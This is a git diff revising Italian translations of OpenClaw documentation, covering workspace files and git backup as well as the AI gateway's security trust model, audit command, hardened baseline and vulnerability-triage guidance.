Piccola checklist facoltativa per le esecuzioni di Heartbeat. Mantienila breve per evitare consumo di token. + + Piccola checklist facoltativa per le esecuzioni Heartbeat. Tienila breve per evitare consumo di token. - - Checklist di avvio facoltativa eseguita automaticamente al riavvio del Gateway (quando gli [hook interni](/it/automation/hooks) sono abilitati). Mantienila breve; usa lo strumento message per gli invii in uscita. + + Checklist di avvio facoltativa eseguita automaticamente al riavvio del Gateway (quando gli [hook interni](/it/automation/hooks) sono abilitati). Tienila breve; usa lo strumento messaggi per gli invii in uscita. - - Rituale una tantum di prima esecuzione. Viene creato solo per un workspace completamente nuovo. Eliminalo dopo che il rituale è completo. + + Rituale una tantum della prima esecuzione. Creato solo per un'area di lavoro completamente nuova. Eliminalo dopo il completamento del rituale. - - Log giornaliero della memoria (un file al giorno). Si consiglia di leggere oggi + ieri all’avvio della sessione. + + Log giornaliero della memoria (un file al giorno). Consigliato leggere oggi + ieri all'avvio della sessione. - - Memoria a lungo termine curata. Caricala solo nella sessione principale e privata (non in contesti condivisi/di gruppo). Consulta [Memory](/it/concepts/memory) per il flusso di lavoro e lo svuotamento automatico della memoria. + + Memoria a lungo termine curata. Caricala solo nella sessione principale e privata (non nei contesti condivisi/di gruppo). Consulta [Memoria](/it/concepts/memory) per il flusso di lavoro e lo svuotamento automatico della memoria. - - Skills specifiche del workspace. Posizione Skills a precedenza più alta per quel workspace. Sovrascrive le Skills dell’agente del progetto, le Skills personali dell’agente, le Skills gestite, le Skills incluse e `skills.load.extraDirs` quando i nomi coincidono. + + Skills specifiche dell'area di lavoro. Posizione delle Skills con precedenza più alta per quell'area di lavoro. Sovrascrive le Skills dell'agente del progetto, le Skills personali dell'agente, le Skills gestite, le Skills incluse e `skills.load.extraDirs` quando i nomi coincidono. - - File Canvas UI per display dei Node (ad esempio `canvas/index.html`). + + File dell'interfaccia Canvas per visualizzazioni dei nodi (per esempio `canvas/index.html`). -Se manca un file bootstrap, OpenClaw inserisce nella sessione un marcatore di “file mancante” e continua. I file bootstrap grandi vengono troncati quando vengono inseriti; regola i limiti con `agents.defaults.bootstrapMaxChars` (predefinito: 12000) e `agents.defaults.bootstrapTotalMaxChars` (predefinito: 60000). `openclaw setup` può ricreare i valori predefiniti mancanti senza sovrascrivere i file esistenti. +Se manca un file di bootstrap, OpenClaw inserisce nella sessione un marcatore di "file mancante" e continua. I file di bootstrap grandi vengono troncati quando inseriti; regola i limiti con `agents.defaults.bootstrapMaxChars` (predefinito: 12000) e `agents.defaults.bootstrapTotalMaxChars` (predefinito: 60000). `openclaw setup` può ricreare i file predefiniti mancanti senza sovrascrivere quelli esistenti. -## Cosa NON è nel workspace +## Cosa NON è nell'area di lavoro -Questi elementi si trovano sotto `~/.openclaw/` e NON dovrebbero essere inclusi nel repo del workspace: +Questi si trovano sotto `~/.openclaw/` e NON dovrebbero essere inclusi nel repository dell'area di lavoro: -- `~/.openclaw/openclaw.json` (config) -- `~/.openclaw/agents//agent/auth-profiles.json` (profili auth del modello: OAuth + chiavi API) -- `~/.openclaw/credentials/` (stato di canale/provider più dati legacy di importazione OAuth) -- `~/.openclaw/agents//sessions/` (trascrizioni delle sessioni + metadati) +- `~/.openclaw/openclaw.json` (configurazione) +- `~/.openclaw/agents//agent/auth-profiles.json` (profili di autenticazione dei modelli: OAuth + chiavi API) +- `~/.openclaw/agents//agent/codex-home/` (account runtime Codex per agente, configurazione, Skills, plugins e stato nativo dei thread) +- `~/.openclaw/credentials/` (stato canale/provider più dati di importazione OAuth legacy) +- `~/.openclaw/agents//sessions/` (trascrizioni sessione + metadati) - `~/.openclaw/skills/` (Skills gestite) -Se devi migrare sessioni o config, copiale separatamente e tienile fuori dal controllo di versione. +Se devi migrare sessioni o configurazione, copiale separatamente e tienile fuori dal controllo versione. ## Backup Git (consigliato, privato) -Tratta il workspace come memoria privata. Inseriscilo in un repo git **privato** così sarà sottoposto a backup e recuperabile. +Tratta l'area di lavoro come memoria privata. Mettila in un repository git **privato** così viene sottoposta a backup ed è recuperabile. -Esegui questi passaggi sulla macchina dove gira il Gateway (è lì che si trova il workspace). +Esegui questi passaggi sulla macchina in cui gira il Gateway (cioè dove si trova l'area di lavoro). - - Se git è installato, i workspace nuovi vengono inizializzati automaticamente. Se questo workspace non è già un repo, esegui: + + Se git è installato, le aree di lavoro completamente nuove vengono inizializzate automaticamente. Se questa area di lavoro non è già un repository, esegui: ```bash cd ~/.openclaw/workspace @@ -139,12 +140,12 @@ Esegui questi passaggi sulla macchina dove gira il Gateway (è lì che si trova ``` - + 1. Crea un nuovo repository **privato** su GitHub. 2. Non inizializzarlo con un README (evita conflitti di merge). - 3. Copia l’URL remote HTTPS. + 3. Copia l'URL remoto HTTPS. 4. Aggiungi il remote ed esegui il push: ```bash @@ -162,7 +163,7 @@ Esegui questi passaggi sulla macchina dove gira il Gateway (è lì che si trova 1. Crea un nuovo repository **privato** su GitLab. 2. Non inizializzarlo con un README (evita conflitti di merge). - 3. Copia l’URL remote HTTPS. + 3. Copia l'URL remoto HTTPS. 4. Aggiungi il remote ed esegui il push: ```bash @@ -174,7 +175,7 @@ Esegui questi passaggi sulla macchina dove gira il Gateway (è lì che si trova - + ```bash git status git add . @@ -184,19 +185,19 @@ Esegui questi passaggi sulla macchina dove gira il Gateway (è lì che si trova -## Non eseguire il commit dei segreti +## Non eseguire commit di segreti -Anche in un repo privato, evita di memorizzare segreti nel workspace: +Anche in un repository privato, evita di archiviare segreti nell'area di lavoro: - Chiavi API, token OAuth, password o credenziali private. - Qualsiasi cosa sotto `~/.openclaw/`. - Dump grezzi di chat o allegati sensibili. -Se devi memorizzare riferimenti sensibili, usa segnaposto e conserva il segreto reale altrove (password manager, variabili d’ambiente o `~/.openclaw/`). +Se devi archiviare riferimenti sensibili, usa segnaposto e tieni il segreto reale altrove (gestore di password, variabili d'ambiente o `~/.openclaw/`). -Starter suggerito per `.gitignore`: +Starter `.gitignore` suggerito: ```gitignore .DS_Store @@ -206,31 +207,31 @@ Starter suggerito per `.gitignore`: **/secrets* ``` -## Spostare il workspace su una nuova macchina +## Spostare l'area di lavoro su una nuova macchina - - Clona il repo nel percorso desiderato (predefinito `~/.openclaw/workspace`). + + Clona il repository nel percorso desiderato (predefinito `~/.openclaw/workspace`). - + Imposta `agents.defaults.workspace` su quel percorso in `~/.openclaw/openclaw.json`. - + Esegui `openclaw setup --workspace ` per inizializzare eventuali file mancanti. - + Se hai bisogno delle sessioni, copia separatamente `~/.openclaw/agents//sessions/` dalla vecchia macchina. ## Note avanzate -- Il routing multi-agente può usare workspace diversi per agente. Consulta [Channel routing](/it/channels/channel-routing) per la configurazione del routing. -- Se `agents.defaults.sandbox` è abilitato, le sessioni non principali possono usare workspace sandbox per sessione sotto `agents.defaults.sandbox.workspaceRoot`. +- Il routing multi-agente può usare aree di lavoro diverse per agente. Consulta [routing dei canali](/it/channels/channel-routing) per la configurazione del routing. +- Se `agents.defaults.sandbox` è abilitato, le sessioni non principali possono usare aree di lavoro sandbox per sessione sotto `agents.defaults.sandbox.workspaceRoot`. ## Correlati -- [Heartbeat](/it/gateway/heartbeat) — file workspace HEARTBEAT.md -- [Sandboxing](/it/gateway/sandboxing) — accesso al workspace in ambienti sandboxati -- [Session](/it/concepts/session) — percorsi di archiviazione delle sessioni -- [Standing orders](/it/automation/standing-orders) — istruzioni persistenti nei file del workspace +- [Heartbeat](/it/gateway/heartbeat) — file dell'area di lavoro HEARTBEAT.md +- [Sandboxing](/it/gateway/sandboxing) — accesso all'area di lavoro in ambienti sandbox +- [Sessione](/it/concepts/session) — percorsi di archiviazione delle sessioni +- [Ordini permanenti](/it/automation/standing-orders) — istruzioni persistenti nei file dell'area di lavoro diff --git a/docs/it/gateway/security/index.md b/docs/it/gateway/security/index.md index 20424aa26..35a303d87 100644 --- a/docs/it/gateway/security/index.md +++ b/docs/it/gateway/security/index.md @@ -1,43 +1,38 @@ --- read_when: - Aggiunta di funzionalità che ampliano l'accesso o l'automazione -summary: Considerazioni sulla sicurezza e modello delle minacce per l’esecuzione di un Gateway di IA con accesso alla shell +summary: Considerazioni sulla sicurezza e modello di minaccia per l’esecuzione di un Gateway IA con accesso alla shell title: Sicurezza x-i18n: - generated_at: "2026-04-30T08:54:38Z" + generated_at: "2026-04-30T20:05:20Z" model: gpt-5.5 provider: openai - source_hash: 7a1733675f30b5eb8a45eae671aaa8cf41323e16d2543a02ed7bda558c4ebad1 + source_hash: 20cc63aa79aff1ec42a9c1a10037b11ad5dcc1a3a23d9e76842d4ffd9a920ad7 source_path: gateway/security/index.md workflow: 16 --- - **Modello di fiducia dell'assistente personale.** Questa guida presume un - confine di operatore fidato per ogni gateway (modello monoutente, di - assistente personale). OpenClaw **non** è un confine di sicurezza multi-tenant - ostile per più utenti avversariali che condividono un agente o un gateway. Se - hai bisogno di operatività con fiducia mista o utenti avversariali, separa i - confini di fiducia (Gateway + credenziali separati, idealmente utenti del - sistema operativo o host separati). + **Modello di fiducia dell'assistente personale.** Questa guida presuppone un unico confine di operatore fidato per gateway (modello monoutente, assistente personale). + OpenClaw **non** è un confine di sicurezza multi-tenant ostile per più utenti avversari che condividono un agente o un gateway. Se ti serve un'operatività a fiducia mista o con utenti avversari, separa i confini di fiducia (gateway + credenziali separati, idealmente utenti o host del sistema operativo separati). ## Prima l'ambito: modello di sicurezza dell'assistente personale -La guida di sicurezza di OpenClaw presume una distribuzione da **assistente personale**: un confine di operatore fidato, potenzialmente molti agenti. +La guida alla sicurezza di OpenClaw presuppone un deployment da **assistente personale**: un confine di operatore fidato, potenzialmente molti agenti. -- Postura di sicurezza supportata: un utente/confine di fiducia per Gateway (preferibilmente un utente OS/host/VPS per confine). -- Non è un confine di sicurezza supportato: un Gateway/agente condiviso usato da utenti reciprocamente non fidati o avversariali. -- Se è richiesto l'isolamento da utenti avversariali, separa per confine di fiducia (Gateway + credenziali separati e idealmente utenti/host OS separati). -- Se più utenti non fidati possono inviare messaggi a un agente con strumenti abilitati, considerali come condividenti la stessa autorità delegata sugli strumenti per quell'agente. +- Postura di sicurezza supportata: un utente/confine di fiducia per gateway (preferibilmente un utente del sistema operativo/host/VPS per confine). +- Non è un confine di sicurezza supportato: un gateway/agente condiviso usato da utenti reciprocamente non fidati o avversari. +- Se è richiesto l'isolamento di utenti avversari, separa per confine di fiducia (gateway + credenziali separati, e idealmente utenti/host del sistema operativo separati). +- Se più utenti non fidati possono inviare messaggi a un agente abilitato agli strumenti, considerali come se condividessero la stessa autorità delegata sugli strumenti per quell'agente. -Questa pagina spiega l'hardening **all'interno di quel modello**. Non dichiara isolamento multi-tenant ostile su un Gateway condiviso. +Questa pagina spiega il rafforzamento **all'interno di quel modello**. Non dichiara isolamento multi-tenant ostile su un gateway condiviso. ## Controllo rapido: `openclaw security audit` Vedi anche: [Verifica formale (modelli di sicurezza)](/it/security/formal-verification) -Eseguilo regolarmente (specialmente dopo modifiche alla configurazione o esposizione di superfici di rete): +Eseguilo regolarmente (specialmente dopo aver cambiato la configurazione o esposto superfici di rete): ```bash openclaw security audit @@ -46,124 +41,99 @@ openclaw security audit --fix openclaw security audit --json ``` -`security audit --fix` resta intenzionalmente ristretto: converte le policy di -gruppo aperte comuni in allowlist, ripristina `logging.redactSensitive: "tools"`, -irrigidisce i permessi di stato/configurazione/file inclusi e usa reimpostazioni -ACL di Windows invece di `chmod` POSIX quando viene eseguito su Windows. +`security audit --fix` resta volutamente limitato: converte le comuni policy di gruppo aperte in allowlist, ripristina `logging.redactSensitive: "tools"`, restringe i permessi di stato/configurazione/file inclusi e usa i ripristini ACL di Windows invece di POSIX `chmod` quando viene eseguito su Windows. -Segnala errori comuni (esposizione auth del Gateway, esposizione del controllo browser, allowlist elevate, permessi del filesystem, approvazioni exec permissive ed esposizione degli strumenti su canali aperti). +Segnala errori comuni (esposizione dell'autenticazione del Gateway, esposizione del controllo browser, allowlist elevate, permessi del filesystem, approvazioni exec permissive ed esposizione degli strumenti su canali aperti). -OpenClaw è sia un prodotto sia un esperimento: stai collegando il comportamento di modelli di frontiera a superfici di messaggistica reali e strumenti reali. **Non esiste una configurazione "perfettamente sicura".** L'obiettivo è essere deliberati su: +OpenClaw è sia un prodotto sia un esperimento: stai collegando il comportamento di modelli di frontiera a superfici di messaggistica reali e strumenti reali. **Non esiste una configurazione “perfettamente sicura”.** L'obiettivo è essere deliberati su: - chi può parlare con il tuo bot - dove il bot è autorizzato ad agire -- cosa può toccare il bot +- cosa il bot può toccare -Inizia con l'accesso minimo che funziona ancora, poi amplialo man mano che acquisisci fiducia. +Inizia con il minimo accesso che funziona, poi amplialo man mano che acquisisci fiducia. -### Fiducia in distribuzione e host +### Deployment e fiducia nell'host -OpenClaw presume che l'host e il confine di configurazione siano fidati: +OpenClaw presuppone che l'host e il confine di configurazione siano fidati: -- Se qualcuno può modificare lo stato/la configurazione dell'host Gateway (`~/.openclaw`, incluso `openclaw.json`), consideralo un operatore fidato. -- Eseguire un Gateway per più operatori reciprocamente non fidati/avversariali **non è una configurazione consigliata**. -- Per team con fiducia mista, separa i confini di fiducia con Gateway separati (o almeno utenti/host OS separati). -- Impostazione predefinita consigliata: un utente per macchina/host (o VPS), un Gateway per quell'utente e uno o più agenti in quel Gateway. -- All'interno di un'istanza Gateway, l'accesso autenticato dell'operatore è un ruolo fidato del piano di controllo, non un ruolo tenant per utente. -- Gli identificatori di sessione (`sessionKey`, ID sessione, etichette) sono selettori di routing, non token di autorizzazione. -- Se più persone possono inviare messaggi a un agente con strumenti abilitati, ognuna di loro può orientare lo stesso insieme di permessi. L'isolamento per utente di sessione/memoria aiuta la privacy, ma non trasforma un agente condiviso in autorizzazione host per utente. +- Se qualcuno può modificare stato/configurazione dell'host Gateway (`~/.openclaw`, incluso `openclaw.json`), trattalo come un operatore fidato. +- Eseguire un unico Gateway per più operatori reciprocamente non fidati/avversari **non è una configurazione consigliata**. +- Per team a fiducia mista, separa i confini di fiducia con gateway separati (o almeno utenti/host del sistema operativo separati). +- Predefinito consigliato: un utente per macchina/host (o VPS), un gateway per quell'utente e uno o più agenti in quel gateway. +- All'interno di una singola istanza Gateway, l'accesso autenticato dell'operatore è un ruolo fidato del piano di controllo, non un ruolo tenant per utente. +- Gli identificatori di sessione (`sessionKey`, ID sessione, etichette) sono selettori di instradamento, non token di autorizzazione. +- Se più persone possono inviare messaggi a un agente abilitato agli strumenti, ciascuna può guidare lo stesso insieme di permessi. L'isolamento di sessione/memoria per utente aiuta la privacy, ma non trasforma un agente condiviso in autorizzazione host per utente. ### Workspace Slack condiviso: rischio reale -Se "tutti in Slack possono inviare messaggi al bot", il rischio centrale è l'autorità delegata sugli strumenti: +Se "tutti in Slack possono inviare messaggi al bot", il rischio principale è l'autorità delegata sugli strumenti: -- qualsiasi mittente consentito può indurre chiamate a strumenti (`exec`, browser, strumenti di rete/file) entro la policy dell'agente; -- l'iniezione di prompt/contenuto da un mittente può causare azioni che influenzano stato, dispositivi o output condivisi; +- qualsiasi mittente consentito può indurre chiamate agli strumenti (`exec`, browser, strumenti di rete/file) entro la policy dell'agente; +- l'iniezione di prompt/contenuto da parte di un mittente può causare azioni che incidono su stato, dispositivi o output condivisi; - se un agente condiviso ha credenziali/file sensibili, qualsiasi mittente consentito può potenzialmente guidare l'esfiltrazione tramite l'uso degli strumenti. -Usa agenti/Gateway separati con strumenti minimi per i flussi di lavoro del team; mantieni privati gli agenti con dati personali. +Usa agenti/gateway separati con strumenti minimi per i flussi di lavoro di team; mantieni privati gli agenti con dati personali. -### Agente condiviso in azienda: schema accettabile +### Agente condiviso aziendale: pattern accettabile -Questo è accettabile quando tutti quelli che usano quell'agente sono nello stesso confine di fiducia (per esempio un team aziendale) e l'agente è strettamente limitato all'ambito aziendale. +È accettabile quando tutti coloro che usano quell'agente sono nello stesso confine di fiducia (per esempio un team aziendale) e l'agente è strettamente limitato all'ambito business. - eseguilo su una macchina/VM/container dedicato; -- usa un utente OS dedicato + browser/profilo/account dedicati per quel runtime; -- non accedere in quel runtime con account Apple/Google personali o profili personali di password manager/browser. +- usa un utente del sistema operativo dedicato + browser/profilo/account dedicati per quel runtime; +- non accedere in quel runtime ad account Apple/Google personali o a profili personali di password manager/browser. -Se mescoli identità personali e aziendali nello stesso runtime, annulli la separazione e aumenti il rischio di esposizione dei dati personali. +Se mischi identità personali e aziendali nello stesso runtime, annulli la separazione e aumenti il rischio di esposizione dei dati personali. -## Concetto di fiducia di Gateway e Node +## Concetto di fiducia per Gateway e Node Tratta Gateway e Node come un unico dominio di fiducia dell'operatore, con ruoli diversi: -- **Gateway** è il piano di controllo e la superficie di policy (`gateway.auth`, policy degli strumenti, routing). -- **Node** è la superficie di esecuzione remota associata a quel Gateway (comandi, azioni dispositivo, capacità locali dell'host). -- Un chiamante autenticato al Gateway è fidato nell'ambito del Gateway. Dopo il pairing, le azioni del Node sono azioni fidate dell'operatore su quel Node. -- I client backend direct loopback autenticati con il token/password del gateway - condiviso possono effettuare RPC interne del piano di controllo senza presentare - un'identità dispositivo utente. Questo non è un bypass del pairing remoto o - browser: client di rete, client Node, client con token dispositivo e identità - dispositivo esplicite passano comunque attraverso pairing e applicazione - dell'upgrade di ambito. -- `sessionKey` è selezione di routing/contesto, non auth per utente. -- Le approvazioni exec (allowlist + richiesta) sono guardrail per l'intento dell'operatore, non isolamento multi-tenant ostile. -- Il valore predefinito del prodotto OpenClaw per configurazioni fidate a singolo operatore è che l'esecuzione host su `gateway`/`node` sia consentita senza prompt di approvazione (`security="full"`, `ask="off"` a meno che tu non la renda più restrittiva). Quel valore predefinito è una UX intenzionale, non una vulnerabilità di per sé. -- Le approvazioni exec vincolano il contesto esatto della richiesta e, al meglio possibile, gli operandi file locali diretti; non modellano semanticamente ogni percorso di loader runtime/interprete. Usa sandboxing e isolamento host per confini forti. +- **Gateway** è il piano di controllo e la superficie di policy (`gateway.auth`, policy degli strumenti, instradamento). +- **Node** è la superficie di esecuzione remota associata a quel Gateway (comandi, azioni sui dispositivi, capacità locali dell'host). +- Un chiamante autenticato al Gateway è fidato nell'ambito Gateway. Dopo l'associazione, le azioni del node sono azioni dell'operatore fidato su quel node. +- I client backend di loopback diretto autenticati con il token/password del gateway condiviso possono effettuare RPC interne del piano di controllo senza presentare un'identità dispositivo utente. Questo non è un bypass dell'associazione remota o browser: client di rete, client node, client con token dispositivo e identità dispositivo esplicite passano comunque attraverso l'associazione e l'applicazione dell'upgrade di ambito. +- `sessionKey` è selezione di instradamento/contesto, non autenticazione per utente. +- Le approvazioni exec (allowlist + richiesta) sono protezioni per l'intento dell'operatore, non isolamento multi-tenant ostile. +- Il default di prodotto di OpenClaw per configurazioni fidate a operatore singolo è che l'exec dell'host su `gateway`/`node` sia consentito senza richieste di approvazione (`security="full"`, `ask="off"` a meno che tu non lo restringa). Quel default è un'esperienza utente intenzionale, non una vulnerabilità di per sé. +- Le approvazioni exec vincolano il contesto esatto della richiesta e gli operandi di file locali diretti best-effort; non modellano semanticamente ogni percorso di loader runtime/interprete. Usa sandboxing e isolamento dell'host per confini forti. -Se hai bisogno di isolamento da utenti ostili, separa i confini di fiducia per utente OS/host ed esegui Gateway separati. +Se ti serve isolamento da utenti ostili, separa i confini di fiducia per utente/host del sistema operativo ed esegui gateway separati. ## Matrice dei confini di fiducia -Usala come modello rapido quando fai il triage del rischio: +Usala come modello rapido quando fai triage del rischio: -| Confine o controllo | Cosa significa | Fraintendimento comune | +| Confine o controllo | Cosa significa | Lettura errata comune | | -------------------------------------------------------- | -------------------------------------------------- | ----------------------------------------------------------------------------- | -| `gateway.auth` (token/password/trusted-proxy/device auth) | Autentica i chiamanti alle API del gateway | "Servono firme per messaggio su ogni frame per essere sicuro" | -| `sessionKey` | Chiave di routing per la selezione contesto/sessione | "La chiave di sessione è un confine di auth utente" | -| Guardrail per prompt/contenuto | Riducono il rischio di abuso del modello | "La sola prompt injection prova un bypass auth" | -| `canvas.eval` / evaluate del browser | Capacità intenzionale dell'operatore quando abilitata | "Qualsiasi primitiva JS eval è automaticamente una vulnerabilità in questo modello di fiducia" | -| Shell `!` TUI locale | Esecuzione locale esplicitamente attivata dall'operatore | "Il comando di comodità della shell locale è iniezione remota" | -| Pairing Node e comandi Node | Esecuzione remota a livello operatore su dispositivi associati | "Il controllo remoto dei dispositivi dovrebbe essere trattato per impostazione predefinita come accesso utente non fidato" | -| `gateway.nodes.pairing.autoApproveCidrs` | Policy opt-in di registrazione Node su rete fidata | "Una allowlist disabilitata di default è una vulnerabilità automatica di pairing" | +| `gateway.auth` (token/password/trusted-proxy/device auth) | Autentica i chiamanti alle API gateway | "Servono firme per messaggio su ogni frame per essere sicuri" | +| `sessionKey` | Chiave di instradamento per selezione contesto/sessione | "La chiave di sessione è un confine di autenticazione utente" | +| Protezioni prompt/contenuto | Riducono il rischio di abuso del modello | "La sola prompt injection dimostra un bypass auth" | +| `canvas.eval` / browser evaluate | Capacità intenzionale dell'operatore quando abilitata | "Qualsiasi primitiva JS eval è automaticamente una vuln in questo modello di fiducia" | +| Shell `!` della TUI locale | Esecuzione locale esplicitamente attivata dall'operatore | "Il comando di comodità della shell locale è iniezione remota" | +| Associazione Node e comandi node | Esecuzione remota a livello operatore su dispositivi associati | "Il controllo remoto del dispositivo dovrebbe essere trattato per default come accesso utente non fidato" | +| `gateway.nodes.pairing.autoApproveCidrs` | Policy opt-in di registrazione node su rete fidata | "Un'allowlist disabilitata per default è una vulnerabilità di associazione automatica" | ## Non vulnerabilità per progettazione - + -Questi schemi vengono segnalati spesso e di solito vengono chiusi senza azione, -a meno che non venga dimostrato un vero bypass di confine: +Questi pattern vengono segnalati spesso e di solito vengono chiusi senza azione, a meno che non venga dimostrato un reale bypass del confine: - Catene basate solo su prompt injection senza bypass di policy, auth o sandbox. -- Dichiarazioni che presumono operatività multi-tenant ostile su un host o una - configurazione condivisi. -- Dichiarazioni che classificano il normale accesso in lettura dell'operatore - (per esempio `sessions.list` / `sessions.preview` / `chat.history`) come IDOR - in una configurazione con Gateway condiviso. -- Riscontri su distribuzioni solo localhost (per esempio HSTS su un gateway - solo loopback). -- Riscontri sulle firme Webhook inbound Discord per percorsi inbound che non - esistono in questo repository. -- Segnalazioni che trattano i metadati di pairing Node come un secondo livello - nascosto di approvazione per comando per `system.run`, quando il vero confine - di esecuzione resta la policy globale dei comandi Node del gateway più le - approvazioni exec proprie del Node. -- Segnalazioni che trattano `gateway.nodes.pairing.autoApproveCidrs` configurato - come una vulnerabilità di per sé. Questa impostazione è disabilitata per - impostazione predefinita, richiede voci CIDR/IP esplicite, si applica solo al - primo pairing `role: node` senza ambiti richiesti e non approva automaticamente - operatori/browser/Control UI, WebChat, upgrade di ruolo, upgrade di ambito, - modifiche dei metadati, modifiche della chiave pubblica o percorsi header - trusted-proxy same-host loopback, a meno che l'auth trusted-proxy loopback non - sia stata abilitata esplicitamente. -- Riscontri di "autorizzazione per utente mancante" che trattano `sessionKey` come - token di auth. +- Affermazioni che presuppongono operatività multi-tenant ostile su un singolo host o configurazione condivisa. +- Affermazioni che classificano il normale accesso di lettura dell'operatore (per esempio `sessions.list` / `sessions.preview` / `chat.history`) come IDOR in una configurazione con gateway condiviso. +- Segnalazioni di deployment solo localhost (per esempio HSTS su un gateway solo loopback). +- Segnalazioni sulla firma degli inbound webhook di Discord per percorsi inbound che non esistono in questo repo. +- Report che trattano i metadati di associazione node come un secondo livello nascosto di approvazione per comando per `system.run`, quando il vero confine di esecuzione resta la policy globale del gateway sui comandi node più le approvazioni exec del node stesso. +- Report che trattano `gateway.nodes.pairing.autoApproveCidrs` configurato come una vulnerabilità di per sé. Questa impostazione è disabilitata per default, richiede voci CIDR/IP esplicite, si applica solo alla prima associazione `role: node` senza ambiti richiesti e non approva automaticamente operator/browser/Control UI, WebChat, upgrade di ruolo, upgrade di ambito, modifiche ai metadati, modifiche alla chiave pubblica o percorsi di header trusted-proxy local loopback sullo stesso host, a meno che l'autenticazione trusted-proxy loopback non sia stata esplicitamente abilitata. +- Segnalazioni di "autorizzazione per utente mancante" che trattano `sessionKey` come un token auth. -## Baseline rinforzata in 60 secondi +## Baseline rafforzata in 60 secondi -Usa prima questa baseline, poi riabilita selettivamente gli strumenti per agente fidato: +Usa prima questa baseline, poi riabilita selettivamente gli strumenti per ogni agente fidato: ```json5 { @@ -188,7 +158,7 @@ Usa prima questa baseline, poi riabilita selettivamente gli strumenti per agente } ``` -Questo mantiene il Gateway solo locale, isola i DM e disabilita per impostazione predefinita gli strumenti del piano di controllo/runtime. +Questo mantiene il Gateway solo locale, isola i DM e disabilita per default gli strumenti del piano di controllo/runtime. ## Regola rapida per inbox condivisa @@ -197,56 +167,57 @@ Se più di una persona può inviare DM al tuo bot: - Imposta `session.dmScope: "per-channel-peer"` (o `"per-account-channel-peer"` per canali multi-account). - Mantieni `dmPolicy: "pairing"` o allowlist rigorose. - Non combinare mai DM condivisi con accesso ampio agli strumenti. -- Questo rafforza inbox cooperative/condivise, ma non è progettato come isolamento da co-tenant ostili quando gli utenti condividono l'accesso in scrittura a host/configurazione. +- Questo rafforza inbox cooperative/condivise, ma non è progettato come isolamento tra co-tenant ostili quando gli utenti condividono accesso in scrittura a host/configurazione. ## Modello di visibilità del contesto OpenClaw separa due concetti: -- **Autorizzazione del trigger**: chi può attivare l'agente (`dmPolicy`, `groupPolicy`, allowlist, gate di menzione). +- **Autorizzazione di attivazione**: chi può attivare l'agente (`dmPolicy`, `groupPolicy`, allowlist, gate di menzione). - **Visibilità del contesto**: quale contesto supplementare viene iniettato nell'input del modello (corpo della risposta, testo citato, cronologia del thread, metadati inoltrati). -Le allowlist controllano trigger e autorizzazione dei comandi. L'impostazione `contextVisibility` controlla come viene filtrato il contesto supplementare (risposte citate, radici di thread, cronologia recuperata): +Le allowlist controllano le attivazioni e l'autorizzazione dei comandi. L'impostazione `contextVisibility` controlla come viene filtrato il contesto supplementare (risposte citate, radici dei thread, cronologia recuperata): -- `contextVisibility: "all"` (predefinito) mantiene il contesto supplementare come ricevuto. +- `contextVisibility: "all"` (default) mantiene il contesto supplementare così come ricevuto. - `contextVisibility: "allowlist"` filtra il contesto supplementare ai mittenti consentiti dai controlli allowlist attivi. - `contextVisibility: "allowlist_quote"` si comporta come `allowlist`, ma mantiene comunque una risposta citata esplicita. Imposta `contextVisibility` per canale o per stanza/conversazione. Vedi [Chat di gruppo](/it/channels/groups#context-visibility-and-allowlists) per i dettagli di configurazione. -Indicazioni per il triage degli avvisi: +Guida al triage consultivo: -- Le affermazioni che mostrano solo che il "modello può vedere testo citato o storico da mittenti non inclusi in allowlist" sono risultati di hardening risolvibili con `contextVisibility`, non bypass di autenticazione o dei confini sandbox di per sé. -- Per avere impatto sulla sicurezza, le segnalazioni devono comunque dimostrare un bypass di un confine di fiducia (autenticazione, policy, sandbox, approvazione o un altro confine documentato). +- Le segnalazioni che mostrano solo che "il modello può vedere testo citato o storico da mittenti non inclusi nell'allowlist" sono risultati di hardening risolvibili con `contextVisibility`, non bypass di autenticazione o del perimetro della sandbox di per sé. +- Per avere impatto sulla sicurezza, i report devono comunque dimostrare un bypass del confine di fiducia (autenticazione, policy, sandbox, approvazione o un altro confine documentato). ## Cosa controlla l'audit (alto livello) -- **Accesso in ingresso** (policy DM, policy di gruppo, allowlist): estranei possono attivare il bot? -- **Raggio d'azione degli strumenti** (strumenti elevati + stanze aperte): una prompt injection potrebbe trasformarsi in azioni shell/file/rete? -- **Deriva delle approvazioni exec** (`security=full`, `autoAllowSkills`, allowlist di interpreti senza `strictInlineEval`): le protezioni per l'esecuzione sull'host fanno ancora ciò che pensi? - - `security="full"` è un avviso ampio di postura, non la prova di un bug. È il default scelto per configurazioni di assistenti personali fidati; restringilo solo quando il tuo modello di minaccia richiede protezioni di approvazione o allowlist. +- **Accesso in ingresso** (policy per DM, policy di gruppo, allowlist): gli sconosciuti possono attivare il bot? +- **Raggio d'azione degli strumenti** (strumenti con privilegi elevati + stanze aperte): una prompt injection potrebbe trasformarsi in azioni shell/file/rete? +- **Deriva delle approvazioni exec** (`security=full`, `autoAllowSkills`, allowlist degli interpreti senza `strictInlineEval`): i guardrail per l'esecuzione sull'host fanno ancora ciò che pensi? + - `security="full"` è un avviso di postura ampia, non la prova di un bug. È l'impostazione predefinita scelta per configurazioni di assistente personale fidato; restringila solo quando il tuo modello di minaccia richiede guardrail di approvazione o allowlist. - **Esposizione di rete** (bind/auth del Gateway, Tailscale Serve/Funnel, token di autenticazione deboli/brevi). - **Esposizione del controllo browser** (nodi remoti, porte relay, endpoint CDP remoti). - **Igiene del disco locale** (permessi, symlink, include di configurazione, percorsi di "cartelle sincronizzate"). - **Plugin** (i plugin vengono caricati senza una allowlist esplicita). -- **Deriva/misconfigurazione delle policy** (impostazioni docker sandbox configurate ma modalità sandbox disattivata; pattern `gateway.nodes.denyCommands` inefficaci perché la corrispondenza è solo sul nome esatto del comando (per esempio `system.run`) e non ispeziona il testo della shell; voci `gateway.nodes.allowCommands` pericolose; `tools.profile="minimal"` globale sovrascritto da profili per agente; strumenti di proprietà dei plugin raggiungibili con una policy strumenti permissiva). -- **Deriva delle aspettative runtime** (per esempio presumere che exec implicito significhi ancora `sandbox` quando `tools.exec.host` ora usa come default `auto`, oppure impostare esplicitamente `tools.exec.host="sandbox"` mentre la modalità sandbox è disattivata). +- **Deriva/misconfigurazione delle policy** (impostazioni docker della sandbox configurate ma modalità sandbox disattivata; pattern `gateway.nodes.denyCommands` inefficaci perché il matching è solo sul nome esatto del comando (per esempio `system.run`) e non ispeziona il testo della shell; voci `gateway.nodes.allowCommands` pericolose; `tools.profile="minimal"` globale sovrascritto da profili per agente; strumenti di proprietà dei plugin raggiungibili con una policy strumenti permissiva). +- **Deriva delle aspettative runtime** 